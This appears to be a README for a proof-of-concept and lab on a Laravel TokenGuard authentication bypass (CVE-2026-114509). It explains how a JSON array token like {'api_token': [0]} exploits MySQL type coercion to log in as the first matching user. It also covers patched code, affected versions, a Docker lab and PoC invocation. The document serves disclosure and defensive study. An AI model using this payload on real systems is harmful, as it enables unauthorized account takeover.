
PoC and lab for CVE-2026-114509, a Laravel TokenGuard authentication bypass via JSON array token injection and MySQL type coercion, with detection and remediation guidance.
FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY
This repository is part of a personal security research study. All code, documentation, and tooling are provided strictly for educational purposes, defensive security research, and authorized penetration testing within scope. Do not use any of this material against systems you do not own or have explicit written authorization to test. Unauthorized access to computer systems is illegal under the CFAA (US), Computer Misuse Act (UK), and equivalent laws worldwide. The author assumes no liability for misuse.
A critical authentication bypass (CVSS 9.2) in Laravel's legacy token
guard driver. An unauthenticated attacker can gain access to any API
endpoint protected by the token guard — with a single HTTP request, no
valid credentials, and no brute force.
| Field | Value |
|---|---|
| CVE | CVE-2026-114509 |
| Advisory | GHSA-f9x3-7vq9-cph6 |
| CVSS | 9.2 (v4.0, Critical) |
| CWE | CWE-287 (Improper Authentication), CWE-1287 |
| Published | 2026-10-19 |
| Fix commit | 9b21ce0 |
| Patched in | 11.56.1, 12.68.0, 13.29.0 |
| Affected | Every Laravel version with TokenGuard (5.0–13.x before patches) |
The attack chains three behaviors that are each individually harmless:
Laravel's $request->input() accepts any JSON type. Sending
{"api_token": [0]} delivers a PHP array [0] instead of a string.
TokenGuard::user() checks ! empty($token) before passing to Eloquent.
A non-empty array passes this check — ! empty([0]) is true.
// VULNERABLE (all versions before the fix)
if (! empty($token)) { // [0] passes this
$user = $this->provider->retrieveByCredentials([
'api_token' => $token, // array [0] reaches Eloquent
]);
}
// FIXED (11.56.1 / 12.68.0 / 13.29.0)
if (is_string($token) && ! empty($token)) { // [0] rejected here
EloquentUserProvider sees an array value and builds WHERE api_token IN (0).
MySQL then casts every VARCHAR token to an integer for comparison. Any token
starting with a letter (a-z, A-Z) casts to 0:
SELECT CAST('admin_secret_token_abc123' AS SIGNED); -- Returns: 0
SELECT * FROM users WHERE api_token IN (0); -- Matches ALL such tokens
The first matching user is returned — often the admin (first user created).
Attacker Laravel + MySQL
│ │
│ POST /api/me │
│ {"api_token": [0]} │
│ ──────────────────────────────────►│
│ │ getTokenForRequest() → [0]
│ │ ! empty([0]) → true ✓
│ │ retrieveByCredentials(['api_token' => [0]])
│ │ → WHERE api_token IN (0)
│ │ → MySQL casts 'admin_tok...' to 0
│ │ → MATCH → returns Admin user
│ 200 OK │
│ {"id":1,"name":"Admin",...} │
│ ◄──────────────────────────────────│
WHERE api_token IN (0) throws
ERROR: operator does not exist: character varying = integer| Laravel | Token guard in skeleton? | Hash | Patch |
|---|---|---|---|
| 5.0–5.8 | YES — 'driver' => 'token' shipped by default | No | EOL |
| 6.x | YES | 'hash' => false | EOL |
| 7.x | YES — last version with token guard as default | 'hash' => false | EOL |
| 8.x | NO — removed from skeleton, Sanctum became default | N/A | EOL |
| 9.x | NO — must add manually | N/A | EOL |
| 10.x | NO — must add manually | N/A | EOL |
| 11.x | NO — must add manually | N/A | v11.56.1 |
| 12.x | NO — must add manually | N/A | v12.68.0 |
| 13.x | NO — must add manually | N/A | v13.29.0 |
config/auth.php is not overwritten
by composer update, so the old token guard config survives silentlyAuthorization: Bearer header only
(always a string), hashes with SHA-256 (throws TypeError on arrays),
uses separate personal_access_tokens tablehash => true on PHP 8+ — hash('sha256', [0])
throws TypeError (but PHP 7 silently returns, so still vulnerable)| Constraint | Detail |
|---|---|
| Database | MySQL or MariaDB only — PostgreSQL/SQLite not affected |
| Guard driver | token only — Sanctum/Passport not affected |
| Delivery | JSON body (POST/PUT/PATCH) — query string sends string "0" not integer 0 |
| User selection | Attacker gets the first matching user, cannot choose which one |
hash => true | Mitigates on PHP 8+ (TypeError), not on PHP 7 |
| Detection | Array values in api_token field are abnormal and detectable in logs |
laravel-tokenguard-bypass/
├── README.md ← This file
├── CVE-2026-114509_poc.py ← PoC script
└── lab/
├── docker-compose.yml ← MySQL 8.0 container
└── app/ ← Laravel 12.67.0 (vulnerable)
├── config/auth.php ← Token guard configured
├── routes/api.php ← Protected API endpoints
├── database/seeders/ ← 4 test users with tokens
└── database/migrations/ ← api_token column added
# 1. Start MySQL
cd lab
docker compose up -d
# Wait for healthcheck (~15s)
# 2. Setup Laravel
cd app
composer install
php artisan migrate:fresh --seed
# 3. Start the dev server
php -S 127.0.0.1:8080 -t public public/index.php &
# 4. Verify
curl -s http://127.0.0.1:8080/api/health
# → {"status":"ok"}
| User | Token starts with | MySQL CAST | Matched by [0]? |
|---|---|---|---|
| Admin (role: admin) | a (letter) | 0 | YES |
| Alice (role: user) | a (letter) | 0 | YES |
| Bob (role: user) | b (letter) | 0 | YES |
| Charlie (role: user) | 9 (digit) | 9 | NO |
Charlie's token starts with 9, so MySQL casts it to 9, not 0.
This demonstrates that [0] only matches letter-starting tokens, while
[9] would match Charlie specifically.
# Run the PoC script
python3 CVE-2026-114509_poc.py http://127.0.0.1:8080
python3 CVE-2026-114509_poc.py http://127.0.0.1:8080 --path /api/admin/users